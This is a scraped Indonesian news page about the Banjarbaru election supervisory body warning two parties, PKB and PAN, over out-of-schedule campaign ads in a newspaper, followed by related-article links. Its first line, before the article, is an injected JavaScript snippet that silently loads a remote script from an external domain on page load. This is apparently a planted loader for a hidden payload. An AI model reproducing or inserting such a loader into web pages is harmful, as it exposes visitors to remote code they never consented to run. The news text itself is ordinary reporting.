(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU,  Bawaslu Banjarbaru memberikan teguran tertulis kepada dua parpol peserta pemilu di Banjarbaru yakni Partai Kebangkitan Bangsa (PKB) dan Partai Amanat Nasional (PAN). Teguran tersebut disampaikan terkait kampanye diluar jadwal yang mereka lakukan di sebuah media massa tanggal 25 Mei lalu.
Penanganan masalah ini disampiakan dalam laporan 002 dan 003/TM/PL/Kota/22.02/V/2O18 dan 003/TM/PL/Kota/Kota/22.02/V/2018, terkait dengan lklan Kampanye melalui media cetak. Kordinator Divisi Hukum dan Penindakan Pelanggaran Bawaslu Banjarbaru, Dahtiar SH mengatakan, berdasarkan tindak lanjut dugaan tindak pidana pemilu ini, sebagaimana yang hasil klarifikasi, pembahasan dan pengkajian yang dilakukan, dua temuan tersebut merupakan perbuatan dugaan Tindak Pidana Pemilu. Dimana kedua parpol tersebut diduga melanggar ketentuan Pasal 492 Undang-Undang Nomor 7 Tahun 2017 tentang Pemilihan Umum.
Dahtiar mengatakan, PKB dinyatakan melanggar karena dalam materi iklan ucapan selamat kenaikan tipe Polda Kalsel yang terbit di koran harian edisi 25 Mei 2018 halaman ke-6  tersebut, berisi materi Lambang PKB, foto dan nama Ririk Sumari R dan Agus Mustakim selaku ketua dan sekretaris.
“Perbuatan Ririk Sumari Restuningtyas selaku Ketua DPC PKB Kota Banjarbaru dan Agus Mustakim selaku Sekretaris DPC PKB Kota Banjarbaru yang melakukan kampanye melalui iklan salah satu media cetak SKH merupakan perbuatan tindak pidana pemilu,†ujarnya.
Begitu juga dengan PAN. Dari kesimpulan kajian Bawaslu No 003/TM/PL/Kota/22.02/V/2018 disebutkan DPC PAN memuat iklan ucapan berisi materi lambang partai, foto dan nama lr. Soegeng Soesanto, M Si selaku ketua PAN Banjarbaru.
Dahtiar menambahkan temuan Bawaslu Kota Banjarbaru tersebut belum dapat diproses lebih lanjut mengingat sampai dengan saat ini pihaknya belum menerima lampiran SK Pembentukan Sentra Penegakan Hukum Terpadu (GAKKUMDU) Kota Banjarbaru. “Karenanya, Bawaslu Kota Banjarbaru dengan ini memberikan Peringatan surat teguran tertulis kepada Ririk Sumari R selaku Ketua dan Agus Mustakim selaku Sekretaris DPC PKB Kota Banjarbaru serta lr. Soegeng Soesanto selaku Ketua DPD PAN Kota Banjarbaru untuk tidak beriklan kampanye di media massa cetak maupun elektronik dan internet karena dikategorikan melakukan kampanye diluar jadwal,†jelasnya.
Dahtiar juga mengatakan bahwa semua pihak harus mematuhi dan mempedomani aturan kampanye sebagaimana diatur dalam Undang-Undang Nomor 7 Tahun 2017 Pasal 276 ayat (2) bahwa “Kampanye Pemilu sebagaimana dimaksud dalam Pasal 275 huruf f dan huruf g dilaksanakan selama 21 hari (dua puluh satu) hari dan berakhir dengan dimulainya Masa Tenang.
“Kemudian untuk jadwal kampanye dengan iklan dimedia massa cetak dan elektronik berdasarkan PKPU No.5 Tahun 2018 tentang perubahan atas PKPU No.7 Tahun 2017 tentang tahapan, program dan jadwal penyelenggaraan Pemilu tahun 2019 dimulai tanggal 24 Maret s/d 13 April 2019,†jelasnya.
Sementara itu Kordinator Divisi Pencegahan dan Hubungan Antar Lembaga Bawaslu Banjarbaru Normadina, S Hut mengatakan, terkait temuan kali ini merupakan bahan pelajaran bagi Banwaslu Banjarbaru. “Sebelumnya padahal kami sudah berikan surat himbauan kepada seluruh partai politik di wilayah Banjarbaru agar menghormati masa sebelum proses kampanye dimulai yaitu 23 September,†ujarnya.
Pada kesempatan tersebut Normadina juga memohon kepada para awak media untuk bisa menyampaikan atau penginformasikan kepada partai politik agar tidak memunculkan lambang sebelum masa kampanye.
Ketua Bawaslu Banjarbaru Ahmad Jajuli, ST menambahkan, secara kelembagaan pihaknya sudah bekerja melakukan pengawasan secara langsung dan siap menerima hasil laporan masyarakat jika nantinya ada dugaan pelanggaran. “Kami selaku Lembaga pengawas pemilu tentu saja bertindak sesuai dengan aturan main yaitu UUD No 7 Tahun 2017,†tegasnya.
Ahmad Jajuli juga mengatakan pihaknya siap untuk memberikan masukan dan arahan bagi partai yang ingin berkonsultasi mengenai bagaimana peraturan pemasangan sepanduk dan aturan main sebelum memasuki masa kampanye. “Sudah ada beberapa partai yang sudah melakukan konsultasi seperti partai Golkar, partai Nasdem dan partai PDIP sebelumnya,†ujarnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.